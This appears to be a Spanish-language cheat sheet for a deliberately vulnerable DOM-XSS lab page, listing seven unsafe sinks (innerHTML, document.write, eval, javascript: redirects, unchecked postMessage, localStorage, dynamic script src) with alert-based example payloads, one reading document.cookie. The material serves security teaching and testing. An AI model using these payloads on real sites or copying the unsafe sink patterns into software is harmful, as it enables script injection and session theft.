Sinks inseguros (payloads benignos con alert)

1. location.hash → innerHTML

/dom-xss.html#<img src=x onerror=alert(document.domain)>

2. ?name → document.write

/dom-xss.html?name=<img src=x onerror=alert(1)>

3. ?cb → eval

/dom-xss.html?cb=alert(document.cookie)

4. ?next → location.href (open redirect / javascript:)

/dom-xss.html?next=javascript:alert(1)
Continuar

5. window.postMessage → innerHTML (sin comprobar origen)

window.open('https://TU-HOST:8443/dom-xss.html').postMessage('<img src=x onerror=alert(1)>','*')

6. XSS almacenado en localStorage → innerHTML

Guardar comentario

7. ?src → inyección dinámica de <script> (cadena de suministro)

/dom-xss.html?src=https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js